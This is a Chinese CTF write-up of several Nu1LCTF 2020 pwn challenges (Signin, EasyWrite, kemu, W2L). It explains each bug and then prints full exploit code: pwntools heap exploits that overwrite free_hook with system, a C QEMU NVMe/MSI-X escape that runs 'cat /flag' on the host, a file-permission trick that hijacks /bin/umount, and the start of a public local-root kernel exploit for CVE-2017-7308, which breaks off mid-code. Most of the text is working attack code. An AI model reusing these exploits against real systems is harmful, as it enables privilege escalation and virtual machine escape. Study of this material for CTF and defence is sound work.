Signup

程序实现了一种vector的实现。程序在1,2,4,8,16...申请新的堆块,拷贝数据,并释放旧的堆块。但是在进行删除Delete函数的时候没有对边界进行判断,导致我们可以进行无限次释放,从而将vector->current指针指向已经释放的unsorted binfd,从而泄露出libc基址。

泄露出libc基址之后,我们可以直接利用指针越界覆写0x20大小的堆块的fd指针,利用第二个vector覆写free_hook,释放带有/bin/sh的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# encoding=utf-8
from pwn import *

file_path = "./signin"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x11d2)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

def add(index, number):
p.sendlineafter(">>", "1")
p.sendlineafter("Index:", str(index))
p.sendlineafter("Number:", str(number))

def delete(index):
p.sendlineafter(">>", "2")
p.sendlineafter("Index:", str(index))

def show(index):
p.sendlineafter(">>", "3")
p.sendlineafter("Index:", str(index))

for i in range(int(0x800/8) + 1):
add(1, 2)

for i in range(int(0x800/8)*2 + 2):
delete(1)

show(1)
libc.address = int(p.recvline()) - 96 - 0x10 - libc.sym['__malloc_hook']

for i in range(int(0x860/8) + 1):
delete(1)

gdb.attach(p, "b *$rebase(0x11d2)")
log.success("libc address {}".format(hex(libc.address)))
add(1, libc.sym['__free_hook']-0x8)
add(2, u64("/bin/sh\\x00"))
add(2, libc.sym['system'])

p.interactive()

EasyWrite

程序可以向任意地址写入堆的地址,之后释放了一个重新申请的0x40大小的堆块。这里主要的难点就是如何选取任意写的位置。从WP中我们知道,libc高地址处保存着一个tcache的指针。但是从源代码中看到tcache是一个全局变量,而从汇编代码中看到它保存在fs:[0xffffffffffffffb0]的位置,暂时不知道怎么查看这个值。猜测可能是fs在内存中的映射。

2020%20Nu1LCTF%20%E9%83%A8%E5%88%86PWN%20WriteUp%206b5590616602455f9a4ceb31a0d92d2c/Untitled.png

那么如果我们将tcache指向程序一开始分配的0x300大小的堆块,也就是说之后tcache的管理就从我们设置的堆块开始了,在其中伪造0x40大小堆块处的指针为free_hook-0x10,那么在之后就能够覆写free_hook,并在堆块的起始填入/bin/sh。释放该堆块即可getsell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# encoding=utf-8
from pwn import *

file_path = "./easywrite"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0x12c4)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

p.recvuntil("Here is your gift:")
libc.address = int(p.recvline().strip(b"\\n"), 16) - libc.sym['setbuf']
log.success("libc address {}".format(hex(libc.address)))

fake_tcache_pthread_struct = p32(0) + p32(0x1)
fake_tcache_pthread_struct += p64(0) * int((0x410-0x20 + 0x10)/(8 * 8) - 1)
fake_tcache_pthread_struct += p64(0)* 2 + p64(libc.sym['__free_hook'] - 0x10)
p.sendafter("message:", fake_tcache_pthread_struct)
p.sendafter("to write?:", p64(libc.address + 0x1f34f0))
p.sendafter("message?:", b"/bin/sh\\x00".ljust(0x10, b"\\x00") + p64(libc.sym['system']))

p.interactive()

kemu

qemu逃逸

没有符号表,首先我们看一下启动脚本

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

pwd=`pwd`

#./qemu-system-x86_64 \\
timeout --foreground 600 ${pwd}/qemu-system-x86_64 \\
-initrd ${pwd}/rootfs.img -nographic -kernel ${pwd}/kernel-guest \\
-L ${pwd}/pc-bios -append "priority=low console=ttyS0 loglevel=3 kaslr" \\
-drive file=${pwd}/nvme.raw,format=raw,if=none,id=Dxx -device nvme,drive=Dxx,serial=1234 \\
-monitor /dev/null

可以看到这里直接加了nvmedevice。但是程序没有符号表,因此这里我们搜索一下字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char **__fastcall nvme_class_init(__int64 a1)
{
_QWORD *v1; // rbx
__int64 v2; // rax
char **result; // rax

v1 = (_QWORD *)sub_5C5EA0(a1, "device", "hw/block/nvme.c", 1363LL, "nvme_class_init");
v2 = sub_5C5EA0(a1, "pci-device", "hw/block/nvme.c", 1364LL, "nvme_class_init");
*(_DWORD *)(v2 + 208) = 0x58458086;
*(_BYTE *)(v2 + 212) = 2;
*(_QWORD *)(v2 + 176) = nvme_realize;
*(_QWORD *)(v2 + 184) = nvme_exit;
*(_WORD *)(v2 + 214) = 0x108;
v1[12] |= 4uLL;
v1[14] = "Non-Volatile Memory Express";
v1[15] = &off_F326E0;
result = &off_D749C0;
v1[20] = &off_D749C0;
return result;
}

我们看到0x584580860x108这两个字符串,也就是说这里的vendor_id0x8086deviceid就是0x5845,这里的0x108指的是设备的类型。我们看一下lspci

1
2
3
4
5
6
7
8
9
/home/pwn # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0108: 8086:5845
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

从这里的id我们可以看到是00:04.0这个设备,看一下resource

1
2
3
4
5
6
7
/home/pwn # cat /sys/devices/pci0000\\:00/0000\\:00\\:04.0/resource
0x00000000febf0000 0x00000000febf1fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febf3000 0x00000000febf3fff 0x0000000000040200

这里存在两个内存空间。因此这里我们看一下nvme_realize函数。对照源码,我们可以识别出一些函数。需要注意的是这里的源码需要对应qemu的版本,这里的版本是4.0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
memory_region_init_io(v11 + 2928, v11, nvme_mmio_ops, v11, "nvme", v26);
pci_register_bar(a1, 0LL, 4LL, v11 + 2928);
msix_init_exclusive_bar(a1, *(unsigned __int16 *)(v11 + 3548), 4LL, 0LL);

//...
if ( v29 )
{
memory_region_init_io(
v11 + 3168,
v11,
nvme_cmb_ops,
v11,
"nvme-cmb",
(unsigned int)(*(_DWORD *)(v11 + 3468) >> 12 << (4 * (BYTE1(*(_DWORD *)(v11 + 3468)) & 0xF) + 12)));
result = pci_register_bar(a1, *(_DWORD *)(v11 + 3464) & 7, 12LL, v11 + 3168);
}

从这一层的代码来看,这里的两个内存空间来自于nvme,nvme-cmd这两个。但是在调试过程中发现,这里的if循环根本就不会进入,因此第二个内存空间就不是nvme-cmb的。那么我们在realizememory_region_init_io函数下断点。那么从realize进入之后,第一次断点就是nvme的内存空间的注册了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*RAX  0x55555719ebf0 ◂— 0x0
*RBX 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*RCX 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*RDX 0x555556174a80 —▸ 0x55555585de20 ◂— push r14
*RDI 0x555557195e50 ◂— 0x0
*RSI 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*R8 0x555555b83a93 ◂— outsb dx, byte ptr [rsi] /* 'nvme' */
*R9 0x2000
*R10 0x80
*R11 0x7ffff7c2abe0 —▸ 0x55555719edf0 ◂— 0x0
*R12 0x555557198980 ◂— 0x10000058458086
*R13 0x555557195e50 ◂— 0x0
*R14 0x555557196070 —▸ 0x5555564d7060 —▸ 0x5555564e4f10 ◂— 0x555500787844 /* 'Dxx' */
R15 0x0
*RBP 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*RSP 0x7fffffffde70 —▸ 0x5555558f4920 ◂— push r12
*RIP 0x55555585e230 ◂— call 0x555555710390
───────────────────[ DISASM ]───────────────────────────────────
0x55555585e230 call 0x555555710390 <0x555555710390>

0x55555585e235 xor esi, esi
0x55555585e237 mov rcx, r13
0x55555585e23a mov edx, 4
0x55555585e23f mov rdi, rbp
0x55555585e242 call 0x5555558f6bb0 <0x5555558f6bb0>

下一次断点我们看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*RAX  0x1
RBX 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
RCX 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*RDX 0x55555626a920 —▸ 0x5555558fa280 ◂— mov eax, dword ptr [rdi + 0x620]
*RDI 0x555557195b00 ◂— 0x0
RSI 0x5555571952e0 —▸ 0x555556496660 —▸ 0x5555563e0970 —▸ 0x5555563e0af0 ◂— 0x7f00656d766e /* 'nvme' */
*R8 0x555555bed204 ◂— insd dword ptr [rdi], dx /* 'msix-table' */
*R9 0x400
*R10 0x40
R11 0x7ffff7c2abe0 —▸ 0x55555719fcc0 ◂— 0x0
*R12 0x0
*R13 0x400
*R14 0x3f
*R15 0x4
*RBP 0x555557195b00 ◂— 0x0
*RSP 0x7fffffffdd98 —▸ 0x5555558fae9d ◂— mov rdi, qword ptr [rsp + 8]
RIP 0x555555710390 ◂— push r15
──────────────────[ DISASM ]───────────────────────────────
0x555555710390 push r15
0x555555710392 push r14
0x555555710394 mov r15, r9

我们看到这里的名称是msix-table看一下函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bt
#0 0x0000555555710390 in ?? ()
#1 0x00005555558fae9d in ?? ()
#2 0x00005555558fb053 in ?? ()
#3 0x000055555585e25d in ?? ()
#4 0x00005555558f8df5 in ?? ()
#5 0x00005555558700b2 in ?? ()
#6 0x00005555559c4d67 in ?? ()
#7 0x00005555559c93bf in ?? ()
#8 0x00005555559c6c95 in ?? ()
#9 0x00005555558160bf in ?? ()
#10 0x000055555581857f in ?? ()
#11 0x0000555555abde1a in ?? ()
#12 0x00005555556afee1 in ?? ()
#13 0x00007ffff7a660b3 in ?? ()
#14 0x0000000000000000 in ?? ()

我们发现了一个就在relaize函数中的调用也就是0x000055555585e25d,对应的就是msix_init_exclusive_bar函数。 那么在这里就进行了msix的内存空间的注册,我们看一下关键的msix_init函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ret = msix_init(dev, nentries, &dev->msix_exclusive_bar, bar_nr,
// 0, &dev->msix_exclusive_bar,
// bar_nr, bar_pba_offset,
// 0, errp);
int msix_init(struct PCIDevice *dev, unsigned short nentries,
MemoryRegion *table_bar, uint8_t table_bar_nr,
unsigned table_offset, MemoryRegion *pba_bar,
uint8_t pba_bar_nr, unsigned pba_offset, uint8_t cap_pos,
Error **errp)
{
msix_mask_all(dev, nentries);

memory_region_init_io(&dev->msix_table_mmio, OBJECT(dev), &msix_table_mmio_ops, dev,
"msix-table", table_size);
memory_region_add_subregion(table_bar, table_offset, &dev->msix_table_mmio);
memory_region_init_io(&dev->msix_pba_mmio, OBJECT(dev), &msix_pba_mmio_ops, dev,
"msix-pba", pba_size);
memory_region_add_subregion(pba_bar, pba_offset, &dev->msix_pba_mmio);

return 0;
}

从上层函数msix_init_exclusive_bar函数中可以看到这里的table_barpba_bar是同一个数值。而pba_offset的值就是bar_pba_offset,这个值其实是table_size,也就是说其实msix_table,msix_pba操作的是同一个内存空间,只不过分为上下两个部分,这个和usb类似。即0-table_size的部分由msix-table负责,table_size-table_size+pba_size的部分则是msix-pba负责。

主要看一下这里的msix-pba_mmio_ops/msix-table_mmio_ops的操作。这里函数代码太长就不放出来了。

msix-table_mmio_read函数调用了一个函数指针,该函数指针可以在msix-table_mmio_write中设置,调用的函数是一个encode函数,简单实现了一个异或的加密操作。

1
2
encode(a1_498, a1_518, a1_598);

+0x498起始的字符串作为key0x518起始的字符串作为inputencode之后的字符串写入+598的位置。函数指针位于0x618处。

msix-table_mmio_write除了设置函数指针之外还可以为cmd赋值,该值在整个msix中都有用到。

msix-pba_read函数用清空key,input,并且可以读取output即加密之后的字符串。这里需要注意的是read函数调用的第二个参数即addr应该是不受read过程中的设置的字节大小影响的。即uint8_t read也可以将addr设置为两个字节。

msix-pba_write函数用来设置key,input的值。

这里其实很明显了,如果我们将函数指针直接覆写为system.plt那么之后调用的时候参数我们全都可以进行控制。主要是怎么覆写这个指针。我们看一下encode的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char __fastcall encode(char *key, char *input, __int64 output)
{
int input_len; // er14
int tmp; // eax
int key_len; // er8 encode(a1_498, a1_518, a1_598);
int i; // ecx
__int64 index; // rdi

input_len = strlen(input);
tmp = strlen(key);
if ( tmp && input_len )
{
key_len = tmp;
for ( i = 0; i != input_len; ++i )
{
tmp = i;
index = i;
LOBYTE(tmp) = input[index] ^ key[tmp % key_len];
*(_BYTE *)(output + index) = tmp;
}
}
return tmp;
}

这里我们看到是用strlen这个函数来判断key,input的长度的,但是这两个区域是连着的,因此这里可以造成一个溢出,也就是如果我们填充input=0x80,且output中存在数据,那么就会溢出写函数指针。同样的原理可以进行越界读(因为越界读判断的是output的长度,将output填满即可越界读)。

思路很明显了,通过越界读读取函数指针泄漏的到qemu base的值,进一步得到system.plt的值,然后设置key=cat /flag,覆写函数指针,触发system的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;
unsigned char* misx_mmio_mem;
int64_t pmio_base = 0xc050;

size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}

void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

if ( !result ) {
return 0;
}

close( fd );
return result;
}

void mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(mmio_mem + addr)) = value;
}
}

void misx_mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(misx_mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(misx_mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(misx_mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(misx_mmio_mem + addr)) = value;
}
}

void misx_pba_mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(misx_mmio_mem + 0x800 + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(misx_mmio_mem + 0x800 + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(misx_mmio_mem + 0x800 + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(misx_mmio_mem + 0x800 + addr)) = value;
}
}

uint64_t mmio_read(uint64_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(mmio_mem + addr));
}
}

uint64_t misx_mmio_read(uint64_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(misx_mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(misx_mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(misx_mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(misx_mmio_mem + addr));
}
}

uint64_t misx_pba_mmio_read(uint64_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(misx_mmio_mem + 0x800 + addr));
}
else if(choice == 1){
return *((uint16_t*)(misx_mmio_mem + 0x800 + addr));
}
else if(choice == 2){
return *((uint32_t*)(misx_mmio_mem + 0x800 + addr));
}
else if(choice == 3){
return *((uint64_t*)(misx_mmio_mem + 0x800 + addr));
}
}

void pmio_write(uint64_t addr, uint64_t value)
{
outb(value,pmio_base + addr);
}

uint8_t pmio_read(uint64_t addr)
{
return (uint64_t)inb(pmio_base + addr);
}

void reset_cmd(){
misx_pba_mmio_read(1, 0);
}

void set_cmd(int8_t value){
printf("set cmd %d\\n", value);
reset_cmd();
if(value != 1){
misx_mmio_write(0, value, 0);
}
}

void set_encode_func(){
set_cmd(3);
misx_mmio_write(0, 0, 0);
}

void reset_encode(){
misx_pba_mmio_read(2, 0);
}

void set_key(uint8_t *value, int len){
printf("set key\\n");
set_cmd(1);
int i = 0;
for(i = 0; i< len; i++){
misx_pba_mmio_write(i, value[i], 0);
}
}

void set_input(uint8_t *value, int len){
printf("set input\\n");
set_cmd(2);
int i = 0;
for(i = 0x80; i< len + 0x80; i++){
misx_pba_mmio_write(i, value[i - 0x80], 0);
}
}

void set_mode(uint8_t value){
set_cmd(2);
misx_mmio_write(0, value, 0);
}

void call_encode(){
printf("call encode\\n");
set_mode(1);
set_cmd(3);
misx_mmio_read(0, 0);
}

void get_output(uint8_t *buf, int offset, int len){
set_cmd(3);
// offset += 0x110;
int i = 0;
for(i = offset; i < offset + len; i++){
printf("current reading is %p\\n", offset);
buf[i-offset] = misx_pba_mmio_read(i, 0);
}
}

int main(){

system( "mknod -m 660 /dev/mem c 1 1" );

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

int misx_mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource4", O_RDWR | O_SYNC);
if (misx_mmio_fd < 0)
die("misx_mmio_fd open failed");

misx_mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, misx_mmio_fd, 0);
if (misx_mmio_mem == MAP_FAILED)
die("mmap misx_mmio_mem failed");

if(iopl(3)!=0){
printf("iopl 3 failed\\n");
exit(0);
}

uint8_t *buf = malloc(0x300);
set_encode_func();
printf("set encode function finished\\n");

memset(buf, 1, 0x300);

set_key(buf, 0x80);
printf("set key finished\\n");

memset(buf, 2, 0x300);
set_input(buf, 0x80);
printf("set input finished\\n");
call_encode();

memset(buf, 0, 0x300);
get_output(buf, 0x190, 6);
uint64_t elf_address = *(uint64_t *)buf;
uint64_t qemu_base = elf_address - 0x4fa470;
uint64_t system_plt = qemu_base + 0x2a6bb0;
printf("leak elf address is %p\\n", elf_address);
printf("qemu base is %p\\n", qemu_base);
printf("system plt address is %p\\n", system_plt);

reset_encode();

memset(buf, 0, 0x300);
strcpy(buf, "cat /flag ");

set_key(buf, 0x80);
memset(buf, 0, 0x300);
memcpy(buf, &system_plt, 0x8);
set_input(buf, 0x8);
call_encode();
memset(buf, 1, 0x300);
memcpy(buf, &system_plt, 0x6);
set_input(buf, 0x80);
call_encode();

getchar();
call_encode();

}

W2L

看了NULL的题解,发现权限配置错误可以直接非预期。

1
2
3
4
5
6
7
mv bin bin1
/bin1/mkdir bin
/bin1/chmod 777 bin
/bin1/echo "/bin1/cat /root/flag" > /bin/umount
/bin1/chmod 777 /bin/umount
exit

题目是拿CVE-2017-7308这个漏洞改的。具体的漏洞分析在另一个文件中。这里给出的脚本中关闭了smep,smap。没有开启KASLR。那么其实拿漏洞的poc改一下就行了。

未开启KASLR

一种方式是和之前漏洞利用相同,覆写timer_list将代码指向用户空间执行提权脚本。还有一种方法就是多个fork。利用cred_jar这个slab内存对象分配完毕之后也需要申请页面来创建新的slab来达到覆写的目的。第二种方法这里需要调试一下一个slab占用的页面的大小,每一个cred_jarslab占用的是一个页面的大小。

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// <https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308>
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS 0
#define ENABLE_SMEP_SMAP_BYPASS 0

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS 0x8db30ul
#define PREPARE_KERNEL_CRED 0x8df60ul
#define NATIVE_WRITE_CR4 0x301f0ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul

#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
// #define TIMER_OFFSET 896
#define TIMER_OFFSET 880

// pakcet_sock->xmit
#define XMIT_OFFSET 1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}

return s;
}

void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;

if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
